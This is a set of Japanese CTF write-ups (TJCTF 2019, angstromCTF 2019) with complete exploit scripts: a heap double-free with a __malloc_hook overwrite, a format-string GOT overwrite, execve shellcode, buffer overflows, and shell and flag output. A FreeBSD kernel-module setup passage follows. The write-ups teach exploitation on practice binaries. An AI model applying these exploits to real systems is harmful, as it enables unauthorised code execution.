要するにdeetを(1)確保、(2)観測、そして(3)解除することが出来ますね。確保するとき、サイズとデータを入力します。念の為、radare2で入力データに対する制限を確認しました。
| 0x00000b2b 8b051b152000 mov eax, dword [0x0020204c] ; MOV eax = [0x20204c] = 0x0 rdi
| 0x00000b31 83f80f cmp eax, 0xf
| ,=< 0x00000b34 7e16 jle 0xb4c
| | 0x00000b36 488d3da80400. lea rdi, str.Out_of_deets ; 0xfe5 ; "Out of deets!"
| | 0x00000b3d e8f6fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x00000b42 bfffffffff mov edi, 0xffffffff ; -1 ; int status
| | 0x00000b47 e844feffff call sym.imp.exit ; void exit(int status)
deetを確保する度にカウンターを増加し、カウンターが
15個以上になる「Out of deets!」でプログラム終了。deetを解除してもカウンターが減らない。
| 0x00000b8d 8b45e4 mov eax, dword [size]
| 0x00000b90 83f878 cmp eax, 0x78 ; 'x'
| ,=< 0x00000b93 7616 jbe 0xbab
| | 0x00000b95 488d3d7b0400. lea rdi, str.Deet_too_big ; 0x1017 ; "Deet too big!"
| | 0x00000b9c e897fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x00000ba1 bfffffffff mov edi, 0xffffffff ; -1 ; int status
| | 0x00000ba6 e8e5fdffff call sym.imp.exit ; void exit(int status)
与えた確保サイズが
120以上であれば「Deet too big!」でプログラム終了。それ故、fastbinしか確保できません。
radare2で性的解析を続けたら、次の脆弱性を見つけました。
(1) 観測機能にUse After Freeがある。但し、目的のindexが15以上なら「Invalid index!」で終了。
(2) 解除機能にDouble Freeがある。また、indexが15以上だとプログラムが終了されます。
さて、エクスプロイト作成へ続ける前に、攻撃スクリプトのベースを用意しておきましょう。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
context.binary = "./halcyon_heap"
context.terminal = ["tmux", "split", "-h"]
e = ELF("./halcyon_heap")
libc = ELF("./libc.so.6")
p = e.process(env={"LD_PRELOAD" : libc.path})
counter = 0
def create_deet(size, value):
global counter
p.sendlineafter("> ", "1")
p.sendlineafter("> ", str(size))
p.sendlineafter("> ", value)
counter += 1
return counter - 1
def delete_deet(index):
p.sendlineafter("> ", "3")
p.sendlineafter("> ", str(index))
def observe_deet(index):
p.sendlineafter("> ", "2")
p.sendlineafter("> ", str(index))
result = p.readuntil("Welcome to Halcyon Heap!")[:-24]
print(hexdump(result))
return result
攻撃作戦
PIEが有効になっているため、とりあえずLIBCのアドレスを把握する必要があります。 この前に見つけたUAF脆弱性を使えば以下の情報を把握できます:
(1) 開放済みのfast chunk(fastbin)を読み込むとHEAP領域の先頭アドレスがリークされる。
(2) 開放済みのsmall chunk(unsorted bin)を読み込むとLIBC内のMAIN_ARENAのアドレスがリークされる。
そうしたらsmall chunkを一回確保して開放すれば良さそう。でも、サイズの制限により0x78バイト以上な領域を確保できないので無理。
small chunkを確保できないけど、もし既に確保しているチャンクのサイズを書き換えれば具体的に同じでしょう?
あるチャンクのサイズを0x80以上にしたら、開放するときunsorted binに追加される(そして冒頭にMAIN_ARENAの位置が書き込まれます)。
チャンク改竄という技術を使えば行けそうです。頑張りましょう!٩( 'ω' )و
チャンク改竄を行うには、先ずHEAP領域の先頭アドレスが必要です。
a = create_deet(0x20, "")
b = create_deet(0x20, "")
delete_deet(a)
delete_deet(b)
# fastbins[0x20]: b -> a -> 0
HEAP_BASE = u64(observe_deet(b)[:8])
print "[*] ヒープ先頭アドレス = %s" % (hex(HEAP_BASE))
次、偽チャンクが返ってくるようにさせましょう。ただし、fast chunkを再び確保する際、残っている元サイズが確認されるため、
チャンク改竄を行うとき、有効なサイズにしておかないといけません。なので以下0x31に設定しておきます。
delete_deet(a)
# fastbins[0x20]: a -> b -> a -> 0
c = create_deet(0x20, p64(HEAP_BASE + 0x10) + p64(0x31))
# fastbins[0x20]: b -> a -> 偽チャンク -> ???
d = create_deet(0x20, "")
e = create_deet(0x20, "")
# fastbins[0x20]: 偽チャンク -> ???
チャンク改竄って頭の中で想像するのが難しいので(私にとっては)、こちらはHEAPの状況。
| xxxxxxxxxxxxxx00 | 0x0000000000000000 0x0000000000000031 | a, c, eのヘッダー
| xxxxxxxxxxxxxx10 | 0x00005604cf3a200a 0x0000000000000031 | a, c, eのデータ
| xxxxxxxxxxxxxx20 | 0x000000000000000a 0x0000000000000000 | a, c, eのデータ --+
| xxxxxxxxxxxxxx30 | 0x0000000000000000 0x0000000000000031 | b, dのヘッダー | 偽チャンクの範囲
| xxxxxxxxxxxxxx40 | 0x00005604cf3a200a 0x0000000000000000 | b, dのデータ --+
| xxxxxxxxxxxxxx50 | 0x0000000000000000 0x0000000000000000 | b, dのデータ
| xxxxxxxxxxxxxx60 | 0x0000000000000000 0x0000000000020fa1 | 以降、トップチャンク
ご覧のように、偽チャンクのデータがdのヘッダーとオーバーラップしています。したがって偽チャンクを書き込めばdチャンクのサイズを変更できます。
f = create_deet(0x20, p64(0x00) * 3 + p64(0x91))
なう、dのサイズが0x91になっていますが、このまま開放してしまえばプログラムが破壊されます。何故なら、次のチャンク(0x90+0x8=0x98バイト後)のprev_inuseビットが設定されていないため、double free or corruption (!prev)が検知されます。なので正しいサイズも入れておかないといけません。
g = create_deet(0x50, "\x00" * 0x50)
h = create_deet(0x50, "\x00" * 0x48 + p64(0x01))
delete_deet(d)
MAIN_ARENA = u64(observe_deet(d)[:8])
LIBC_BASE = MAIN_ARENA - 0x3c4b78
print "[*] LIBC先頭アドレス = %s" % (hex(LIBC_BASE))
確認のため、今までの魔術を試してみましょう!\(゚∀゚ヘ)アブラカダブラ
$ ./exploit.py
[*] '/ctf/TJCTF2019/Binary/Halcyon_Heap/halcyon_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/TJCTF2019/Binary/Halcyon_Heap/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/ctf/TJCTF2019/Binary/Halcyon_Heap/halcyon_heap': pid 7655
00000000 00 30 f8 02 c9 55 00 00 00 00 00 00 00 00 00 00 │·0··│·U··│····│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020
[*] ヒープ先頭アドレス = 0x55c902f83000
00000000 78 3b 9c d8 db 7f 00 00 78 3b 9c d8 db 7f 00 00 │x;··│····│x;··│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020
[*] LIBC先頭アドレス = 0x7fdbd85ff000
[*] Stopped process '/ctf/TJCTF2019/Binary/Halcyon_Heap/halcyon_heap' (pid 7655)
$
わ〜ぃ!行けた!LIBCのアドレスをうまく掴めました〜!٩(๑´0`๑)۶
最後に、シェルをスポーンすることです!単に__malloc_hookにone-gadgetのアドレスを書き込めばいいでしょう。
但し、前と同じく、fastchunkに合ってるサイズを使わないとバツなので気をつけましょう。
gef➤ x/6gx 0x7f0a4cd34b10-0x10
0x7f0a4cd34b00 <__memalign_hook>: 0x00007f0a4c9f5e20 0x00007f0a4c9f5a00
0x7f0a4cd34b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f0a4cd34b20: 0x0000000000000000 0x0000000000000000
ウフフ~ ありましたね。
0x7f0a4cd34afd: 0x0a4c9f5e20000000 0x0a4c9f5a0000007f
0x7f0a4cd34b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f0a4cd34b1d: 0x0000000000000000 0x0000000000000000
というわけで ((long) &__malloc_hook) - 0x13 を指せば malloc を変更できるはずです。では早速、
いただきます!
i = create_deet(0x68, "")
j = create_deet(0x68, "")
delete_deet(i)
delete_deet(j)
delete_deet(i)
k = create_deet(0x68, p64(LIBC_BASE + libc.symbols["__malloc_hook"] - 0x13))
l = create_deet(0x68, "")
m = create_deet(0x68, "")
ONE_GADGET = LIBC_BASE + 0xf1147
n = create_deet(0x68, "\x00" * 0x3 + p64(ONE_GADGET))
print "[*] シェルをスポーン中 = %s" % (hex(ONE_GADGET))
p.sendlineafter(">", "1\n1\n")
p.interactive()
$ ./exploit.py
[*] '/ctf/TJCTF2019/Binary/Halcyon_Heap/halcyon_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/TJCTF2019/Binary/Halcyon_Heap/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/ctf/TJCTF2019/Binary/Halcyon_Heap/halcyon_heap': pid 2017
00000000 00 10 73 bd d5 55 00 00 00 00 00 00 00 00 00 00 │··s·│·U··│····│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020
[*] ヒープ先頭アドレス = 0x55d5bd731000
00000000 78 0b e9 b1 b1 7f 00 00 78 0b e9 b1 b1 7f 00 00 │x···│····│x···│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000020
[*] LIBC先頭アドレス = 0x7fb1b1acc000
[*] シェルをスポーン中 = 0x7fb1b1bbd147
[*] Switching to interactive mode
$ cat flag.txt
tjctf{d0uble_deets_0r_doubl3_free?}
$
お疲れ様でした ( ^^) _旦~~
以上、Halcyon Heapの解法でした。 最後まで読んで頂き、ありがとうございました!
File: writeups/ctf/TJCTF-2019/Printf_Polyglot.md
// date: 2019-04-12
はじめに
2019年4月の4日〜8日、NekoChanNano!というCTFチームでTJCTFに参加しました。解けた問題の中、Pwn系の問題「Printf Polyglot」があり、今回この問題の解き方を解説していきたいと思います。
概要
こちらは問題記載:
Printf Polyglot - 120 points
Written by nthistle
Security Consultants Inc. just developed a new portal! We managed to get a hold of the source code, and it doesn't look like their developers know what they're doing.
nc p1.tjctf.org 8003
ご丁寧にELFバイナリとソースコードが与えられます。ではとりあえずバイナリを実行してみましょう。
$ ./printf_polyglot
Welcome to the brand new Security Consultants Inc. portal!
What would you like to do?
1.) View the Team!
2.) Check the date.
3.) Sign up for our newsletter!
4.) Report a bug.
x.) Exit.
またメニュー系なインターフェースですね。自分は普段、プログラムの動作を把握するには、直接にいじるよりコードを読むのが楽なので、そのソースコードを読んでから行こうと思います!
解析
コードが長かったため全部を貼りはしないけど、main関数を見れば各メニューオプションそれぞれの関数があることがわかります。
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setbuf(stdout, NULL);
printf("Welcome to the brand new Security Consultants Inc. portal!\n");
char action = 0;
char line[128];
while (action != 'x') {
printf("What would you like to do?\n");
printf("1.) View the Team!\n");
printf("2.) Check the date.\n");
printf("3.) Sign up for our newsletter!\n");
printf("4.) Report a bug.\n");
printf("x.) Exit.\n");
fgets(line, sizeof line, stdin);
action = line[0];
if (action == '1') {
view_team();
} else if (action == '2') {
check_date();
} else if (action == '3') {
newsletter();
} else if (action == '4') {
report_bug();
} else if (action != 'x') {
printf("Sorry, I didn't recognize that.\n");
}code redirectio
printf("\n");
}
}
他の関数を見たら、気になったのがcheck_dateとnewsletterだけでした。
bool date_enabled = false;
[...]
// apparently calling system() isn't safe? I disabled it so we
// should be fine now.
void check_date() {
printf("Here's the current date:\n");
if (date_enabled) {
system("/bin/date");
} else {
printf("Sorry, date has been temporarily disabled by admin!\n");
}
}
こうやって変数を使って、systemを呼び出さないようにしたようですが、system関数がコードに入ってるだけでPLTに含まれますので、もしある脆弱性を使ってRIPレジスタを奪えられれば、systemの位置が既にわかります(PIEが有効な場合を除く)。攻撃者にとってはそれがすごく助かります。
void newsletter() {
printf("Thanks for signing up for our newsletter!\n");
printf("Please enter your email address below:\n");
char email[256];
fgets(email, sizeof email, stdin);
printf("I have your email as:\n");
printf(email);
printf("Is this correct? [Y/n] ");
char confirm[128];
fgets(confirm, sizeof confirm, stdin);
if (confirm[0] == 'Y' || confirm[0] == 'y' || confirm[0] == '\n') {
printf("Great! I have your information down as:\n");
printf("Name: Evan Shi\n");
printf("Email: ");
printf(email);
} else {
printf("Oops! Please enter it again for us.\n");
}
int segfault = *(int*)0;
// TODO: finish this method, for now just segfault,
// we don't want anybody to abuse this
}
あれれ?気のせい??
printf(email);
こう、ユーザーの入力したデータをそのままformat stringを使わずにprintfに渡すと、いわゆるFormat String Bug(FSB)という脆弱性が生まれます。FSBを使えば、例えば任意読み込みや任意書き込みができます。
作戦
FSBを使って、ある関数のGOTポインターを上書きし、systemのPLTアドレスに変えましょう。 fgetsの後に呼び出されるので、そして入力したemail変数がそのままわたされますので、printfが最適な候補だと思います。
printf(email);がこう、二回呼び出されますが、もし一回目はFSBを行えば、二回目はもうprintfではなく、system(email)になりますのでご注意ください。そのため、email変数が同時にformat stringでもあり、シェルコマンドでもある必要があります。
エクスプロイト
#!/usr/bin/python2
# -*- coding: utf-8 -*-
import struct
# 作戦:FSBを使ってprintfのGOT要素(0x602048)に、systemのPLTアドレス(0x4006e0)を書き込む。
# 次にprintfが呼び出される際、system関数が代わりに実行されてしまう。
def payload():
padding = "a" * 100
command = "/bin/sh #" # 直後のスタックデータが含まれちゃうから「#」でコメント化
# 説明:メニュー選択がスタック変数のactionに保存される。
# そこにアドレスを入れたら、FSBを起こせるときに利用できます。
selection = "3 "
selection += struct.pack("<Q", 0x00602048) # スタック第63引数。
selection += struct.pack("<Q", 0x0060204a) # スタック第64引数。
# 説明:出力済文字数が0x40になるまでスペースを%cで出力して、
# 第64引数(0x60204a)に0x40を書き込む。そのあと、また%cでバイトを出力、
# 第63引数(0x602048)に0x06e0を書き込む。そうしたらprintfのGOT要素が0x4006e0になり、
# ジャンプすればsystemのPLTアドレスに移動しちゃいます。
format_string = command + "%55c%64$n%1696c%63$hn" + padding
format_string = format_string[:100]
return selection + "\n" + format_string + "\ny\n"
print(payload())
さあ、作戦開始! flag.png
以上Printf Polyglotの解答方法でした。
File: writeups/ctf/TJCTF-2019/Silly_Sledshop.md
// date: 2019-04-10
はじめに
2019年4月の4日〜8日、TJCTFにNekoChanNano!というCTFチームで参加しました。自分はまだ初心者であり、レベルがかなり高かったと思います。良い勉強になりましたので、今回はPwn系の問題「Silly Sledshop」の解き方を解説していきたいと思います。
概要
こちらはチャレンジ記載:
Silly Sledshop - 80 Points
Written by evanyeyeye
Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.
Lesson: nothing stops Omkar.
He will go sledding whenever and wherever he wants.
nc p1.tjctf.org 8010
その上、32ビットのELFバイナリとそのソースコードを手に入れます。
解析
まずはELFファイルを実行してみましょう。
$ ./sledshop
The following products are available:
| Saucer | $1 |
| Kicksled | $2 |
| Airboard | $3 |
| Toboggan | $4 |
Which product would you like?
メニューが表示され、入力を待っているようです。そして指示すると、
[...]
Which product would you like?
1
Sorry, we don't currently have the product 1 in stock. Try again later!
$ #品切れだったら先に言ってよ!ヾ(。>﹏<。)ノ゙
さあ次に、ソースコードを確認しよう〜
#include <stdio.h>
#include <stdlib.h>
void shop_setup() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setbuf(stdout, NULL);
}
void shop_list() {
printf("The following products are available:\n");
printf("| Saucer | $1 |\n");
printf("| Kicksled | $2 |\n");
printf("| Airboard | $3 |\n");
printf("| Toboggan | $4 |\n");
}
void shop_order() {
int canary = 0;
char product_name[64];
printf("Which product would you like?\n");
gets(product_name);
if (canary)
printf("Sorry, we are closed.\n");
else
printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);
}
int main(int argc, char **argv) {
shop_setup();
shop_list();
shop_order();
return 0;
}
興味あるのはshop_order関数ですね。中には、getsでstdinを読み込み、入力データのサイズを確認せずに64バイトのバッファーproduct_nameに書き込みます。単純なバッファーオーバーフローが使えるように見えますが、実行ファイルのセキュリティ機構を確認すれば:
$ checksec ./sledshop
[*] '<省略>/sledshop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
$
何だ、いけるじゃん。ただし、チャレンジサーバーではASLRが有効なので、スタックにシェルコードを置いても、アドレスがランダム化されるため、そこにリターン出来ません。そこで、長く長く長く流れるNOPスレッドを使えば行けるかもしれないけど、リモートサーバーですし時間かかりそうだから面倒くさい。シェルコードを一回で実行する方法を考えたほうがいいので、さあ楽しいシンキングタイムだぜ!
作戦
スタックトークンがないから普通のスタックオーバーフローで任意アドレスへ移動することが出来ます。ASLRが有効になるため、スタック内アドレスに簡単に戻れませんが、テキスト領域かGOT領域ならアドレスが固定なので使えます。
あと、Full RELROがないので、GOT領域が書込可能。問題はどうやって書き込むのかですね。ただのスタックオーバーフローだけだとスタック以外のメモリを書き込むことが出来ません。ディスアセンブリを読みながら任意アドレスを書き込む方法がわかりました。
80485dc: 8d 45 b4 lea eax,[ebp-0x4c]
80485df: 50 push eax
80485e0: e8 eb fd ff ff call 80483d0 <gets@plt>
これでございます。EBPから0x4cバイトを引いて読み込み先にし、gets関数を呼び出すとするアセンブリ命令。素敵じゃないですか!EBPレジスターを設定できれば、指定したアドレスの位置から0x4cを引いて、結果のアドレスに書き込みます。これを使えば、例えばprintf関数のGOTポインターに0x4cを足し、スタックのリターンポインターの前に置いて、このアセンブリ命令の冒頭に移動してprintfのGOTポインターを書き込んでしまう。とっても素敵!
エクスプロイト
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import struct, os
# 作戦:printf関数のGOTポインターを書き換えることで、実行可能であるGOT領域に置いたシェルコードを実行する。
# GOTポインターを書き換えるには、ebxを設定し、バッファーオーバーフローでshop_order関数の真ん中に戻り、
# getsによりprintfのポインターを4バイト後の0x804a014に変えて、直後にシェルコードを同時期に置いておく。
# getsからshop_orderに戻ったらprintfが自然に呼び出されて、シェルコードを実行してしまう。
def payload():
junk = "a"*76
alphabet = "".join([x*4 for x in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"])
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
gadget_gets = struct.pack('<I', 0x080485dc) # gets() -> [ebp-0x4c]
got_printf = struct.pack('<I', 0x804a010+0x4c) # printf()のGOTポインター。0x4cはアセンブリ命令に引かれます
after_printf = struct.pack('<I', 0x804a014) # printf()の直後ではあるが、偶然でgets()のGOTポインターでもある
return junk + got_printf + gadget_gets + "\n" + after_printf + shellcode
print(payload())
そして実行: flag.png
以上Silly Sledshopの解答方法でした。
File: writeups/ctf/angstromCTF/chain_of_rope.md
// date: 2019-04-24
ångstromCTF 2019 -「Chain of Rope (80pts)」之解き方
問題記載
Chain of Rope - 80 points
defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they're super overpriced! He managed to get the source code. Can you get him a rope chain without paying?
解析
getsによってバッファーオーバーフローが可能。
401348: 48 8d 45 d0 lea rax,[rbp-0x30]
40134c: 48 89 c7 mov rdi,rax
40134f: b8 00 00 00 00 mov eax,0x0
401354: e8 17 fd ff ff call 401070 <gets@plt>
書込み先から0x30バイト超えて、RBPとRIPを奪えられます。
戻り先を考えればflag関数の真ん中でのsystem呼び出しがいいのでしょう。
401231: 48 8d 3d 2f 0e 00 00 lea rdi,[rip+0xe2f] # 402067 <_IO_stdin_used+0x67>
401238: e8 13 fe ff ff call 401050 <system@plt>
エクスプロイト
payload = "1\n" # メニュー選択
payload += "a" * 0x30 # パッディング
payload += "\x00\x00\x00\x00\x00\x00\x00\x00" # $rbp
payload += "\x31\x12\x40\x00\x00\x00\x00\x00" # $rip (system呼び出し)
print(payload)
結局ROPを使わずに解けてしまいました。
File: writeups/ctf/angstromCTF/server.md
// date: 2019-04-25
ångstromCTF 2019 -「Server (180pts)」之解き方
はじめに
2019年の4月、NekochanNano!というチームの一員として ångstromCTF に参加させて頂きました。最後に1540ポイントを集めることが出来て、59位で終わりました。 solved_challenges.png
今回は、特に気に入った問題の「Server」の解き方を解説して行きたいと思います。
問題記載
Server - 180 points
Check out my new website, powered by my own custom web server!
ご丁寧に、ウェブサイトのリンクとELFバイナリが渡されます。こちらはウェブサイトのホームページです。
website
解析
早速ですが、とりあえずobjdumpに投げてみましょう。ディスアセンブルしてみたら、すぐに気づくのはlibcの無さ。このプログラムは全て、syscall以外にライブラリーを使わずに出来ているようです。
最初にいろんなsyscallを呼び出して、ソケットを保留して、バインドします。
401086: 48 31 c0 xor rax,rax
401089: 48 be 10 20 40 00 00 movabs rsi,0x402010
401090: 00 00 00
401093: ba 04 00 00 00 mov edx,0x4
401098: 0f 05 syscall
それから第零syscall(0から始まるので)readで標準入力から4バイトを0x402010に読み込んで、
40109a: 48 ff ce dec rsi
40109d: 48 ff c6 inc rsi
4010a0: 48 31 c0 xor rax,rax
4010a3: 48 31 d2 xor rdx,rdx
4010a6: 48 ff c2 inc rdx
4010a9: 0f 05 syscall
4010ab: 80 3e 20 cmp BYTE PTR [rsi],0x20
4010ae: 74 02 je 0x4010b2
4010b0: eb eb jmp 0x40109d
0x402010を再利用して(さっきの4バイトを上書き)、また読み込みます。スペース文字(0x20)が来るまで読み込みを続けますが、0x402010に書き込んだバイトを数えないため、いくらも長いバイト流れを渡しても書き込んでしまいます(そこが危ないですね)。
4010b5: 48 be b1 28 40 00 00 movabs rsi,0x4028b1
4010bc: 00 00 00
4010bf: ba 00 08 00 00 mov edx,0x800
4010c4: 0f 05 syscall
やっとスペース文字が来たら0x4010b2にジャンプして、今度0x4028b1を読み込み先としてまた「read」を行いますが、今回は読み込みサイズが0x800に過ぎないようにしています。
もう気づいてる方も居るかと思いますが、最初のバッファーがおそらくURLで2つ目がペイロード(HTTPヘッダーとコンテント)であるみたいです。そしてペイロードが0x800バイトに過ぎないように制限されてるのに、URLにはそんな制限がなく、0x800バイト以上を読み込めば、直後のメモリが単に上書きされてしまいます。
さて、続きを読みましょう。
401135: 48 8b 3c 25 10 28 40 mov rdi,QWORD PTR ds:0x402810
40113c: 00
40113d: b8 01 00 00 00 mov eax,0x1
401142: 48 be 20 28 40 00 00 movabs rsi,0x402820
401149: 00 00 00
40114c: 48 8b 14 25 18 28 40 mov rdx,QWORD PTR ds:0x402818
401153: 00
401154: 0f 05 syscall
mov eax, 0x1の部分から、第一syscall writeを用意していることがわかります。この「検索可能 Linux Syscall 目録」によると、メモリからrdiにコピーしている値がfd(ファイル記述子)で、rsiにbuf(出力元)、そしてrdxで出力サイズに指定します。このスニペットをC言語に訳してみるとこのようになるでしょう:
uint fd = 0; // STDOUT
char *buf = "welcome to my web server! as you can see it's incredibly fast and impossible to exploit!";
size_t count = 88;
write(fd, buf, count);
このコードを実行した後に、実際に出力したバイト数がraxレジスタに保存されます。
最後に、第三syscall「exit」を呼び出します、、、
401156: 48 29 d0 sub rax,rdx
401159: 48 83 c0 03 add rax,0x3
40115d: 48 31 d2 xor rdx,rdx
401160: 0f 05 syscall
が!ちょっと待って。何を計算しているんでしょうか?まずはrax(出力されたバイト数)からrdx(出力サイズ)を引く。その結果は必ず0になるはずですね。してから結果に3を足して(rax=3)、syscallを実行する。なるほど、そうやってヌル化するんだ。確かmov eax, 0x3よりアセンブリ命令が短い(movを使えば0x3なのに0x0000000000000003となり、命令がかなり長くなってしまうらしいです)。
作戦
ごめんなさい、嘘を付きました。
実はsub rax, rdxの結果が0でない場合もあります。もし、rdxがとんでもない大きい値であれば、プロセスのメモリをすべて出しても出力バイト数が合わせられないのです。すなわち引き算の効果が0でなくなります。
試してrdxを0xffffffffffffffffにしてみたら、0x1000バイトが出されました(rax = 0x1000)。
数学能力がゼロなのでちゃんと計算できないけど、適当にいろんな値を試して、0xffffffffffffffbfにすればraxが0x3b(10進数では59)になることを確かめることが出来ました。ちなみに第59 syscallが任意プログラムを実行してくれるexecveであります。
そう、rdxを0xffffffffffffffbfにすると、execveが呼び出されます。また「検索可能 Linux Syscall 目録」にてexecveの引数を確認しましょう。
syscall 59
さて、エクスプロイトを考えましょう。上の脆弱性を利用して、任意コマンド実行または任意プログラム実行が出来るようになりました。ですが、例えばもしシェルを実行してしまえば、出力が標準出力に送信され、こちらソケット側からは見えません。ですから、サーバーの反応を観測せずに行えるエクスプロイトが必要となります。
チャレンジサーバーにアクセス出来たので、/tmpディレクトリにシェルスクリプトを適当に置いて、serverからそれを実行することに決めました。こちらはスクリプトです。
#!/bin/bash
echo "フラグでしゅにゃん!(=^・・^=)"
cat flag.txt > /tmp/nekochannano/server.flag.txt
echo ""
そしてserverプロセスのユーザーが書き込めるためにファイル属性を設定して起きます。
$ cd /tmp/nekochannano
$ touch server.flag.txt
$ chmod 0666 server.flag.txt
エクスプロイトを書く前に、目指しているメモリの状況を図にしました。
通常に、メモリの状況がこのようになります:
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402010 | 00 00 00 00 00 00 00 00 | URLバッファー
| ... | ... |
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402810 | 00 00 00 00 00 00 00 00 | 出力バッファー
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402018 | 58 00 00 00 00 00 00 00 | writeサイズ
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402020 | w e l c o m e | メッセージ
| 0x402028 | t o m y w e |
| 0x402030 | b s e r v e r |
| 0x402038 | ! a s y o u |
| ... | ... |
+----------+--+--+--+--+--+--+--+--+--+--+--
エクスプロイトして、このようにさせることを目指します。
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402010 | 61 61 61 61 61 61 61 61 | 'a' (804字)
| ... | ... |
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402810 | 28 28 40 00 00 00 00 00 | 実行ファイル名のポインタ
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402018 | bf ff ff ff ff ff ff ff | rdxに保存されて、raxから引かれる値
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402020 | 00 00 00 00 00 00 00 00 | rsiに保存されるargv(ヌル)
+----------+--+--+--+--+--+--+--+--+--+--+--
| 0x402028 | / t m p / n e k | 実行するファイル
| 0x402030 | o c h a n n a n | /tmp/nekochannano/nyan.sh
| 0x402038 | o / n y a n . s |
| 0x402040 | h 00 |
| ... | ... |
+----------+--+--+--+--+--+--+--+--+--+--+--
よし!これで準備が出来ました!さあ早速エクスプロイトを書きましょう!
エクスプロイト!!
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
def payload():
# HTTP リクエストを生成する
output = ""
output += "a" * 0x804 # 0x40200c~0x402810までaを書き込む
output += "\x28\x28\x40\x00\x00\x00\x00\x00" # 0x402810 $rdi 出力バッファー
output += "\xbf\xff\xff\xff\xff\xff\xff\xff" # 0x402818 $rdx 出力サイズ
output += "\x00\x00\x00\x00\x00\x00\x00\x00" # 0x402820 $rsi argv
output += "/tmp/nekochannano/nyan.sh\x00" # 0x402828 実行されるファイル
output += " "
return output
print payload()
そして実行!
flag.txt
以上、ångstromCTF 2019 之「Server」の解き方でした。 最後まで読んで頂きありがとうございました!
File: writeups/unix/freebsd_kerneldev.md
FreeBSDカーネルモジュール開発環境の構築
最近「Designing BSD Rootkits」という本を読んでいました。本は英語ですが、カーネルハッキングに興味を持った方に強くオススメします。なお、メインOSとして私はLinux使っているのですが、環境がFreeBSDになっているので、仮想環境を構築しました。この紀記事はその設定の手順になります。
バーチャルマシン(vagrant)
仮想環境を管理するために vagrant というツールを使ってるんですが、これは任意です。なお Vagrantfile は以下のようになります。
Vagrant.configure("2") do |config|
config.vm.box = "generic/freebsd12"
config.vm.synced_folder "proj/", "/home/vagrant/proj"
end
generic/freebsd12というイメージを使用する- ホスト上の
./proj/というフォルダをVMの/home/vagrant/projに同期する(rsync利用)
vagrant up というコマンドでVMを立ち上げることができます。初起動時、vagrant が generic/freebsd12 のイメージをダウンロードして展開してくれます。私がやったとき、rsyncも自動的にインストールしてくれました。最後に vagrant ssh でVMに接続することができます。
FreeBSDの世界へようこそ!
rsync によるファイル同期の注意点2つ
- VMを起動しても、同期が自動的に開始されないため、
vagrant rsync-auto &を自ら実行する必要があります。 - 同期はホストからVMに、一方通行となります。したがってVM側にファイルの変更があっても同期されず、注意が必要。
パッケージミラーの設定
デフォルト・ミラーが米国に在するので、日本から使うと割と遅いです。そのため、国内のミラーの設定をおすすめします。
下記、公式ミラー「ftp4.jp.FreeBSD.org」を設定しますが、公式ミラー一覧はこちらです。
FreeBSD: {
url: "pkg+ftp://ftp4.jp.FreeBSD.org/${ABI}/quarterly", # <- ここ変えたよ
mirror_type: "srv",
signature_type: "fingerprints",
fingerprints: "/usr/share/keys/pkg",
enabled: yes
}
※設定ファイル名:/etc/pkg/FreeBSD.conf
設定の変更後に必ず pkg update を実行しましょう。
カーネルのソースファイルを入手
カーネルのソースコードをGithubでの参照はいいですが、時にはローカル環境にコピーがあると便利です。
あらゆるFTPミラーから、ソースコードがダウロード可能です。
ftp ftp://ftp4.jp.freebsd.org/pub/FreeBSD/releases/amd64/amd64/12.1-RELEASE/src.txz
※コツ!tar Jtf src.txz で、アーカイブを解凍せずに中身を確認することができます。
# tar Jtf /root/src.txz | head
usr/src/
usr/src/libexec/
usr/src/sys/
usr/src/LOCKS
usr/src/stand/
usr/src/.gitattributes
usr/src/UPDATING
usr/src/Makefile
usr/src/crypto/
[ 省略... ]
/ フォルダから解凍コマンドを実行すると、ソースコードは /usr/src 以下に置いてくれます。
cd /
tar Jxvf /root/src.txz
カーネルモジュールの例(Hello World)
注意:
proj/以下の開発・ファイル編集など、必ずホストにて行うように気をつけましょう。 コンパイル(make)はVM側で行います。
proj/chapter01/helloworld/hello.c
#include <sys/param.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/kernel.h>
static int load(struct module *module, int cmd, void *args) {
int error = 0;
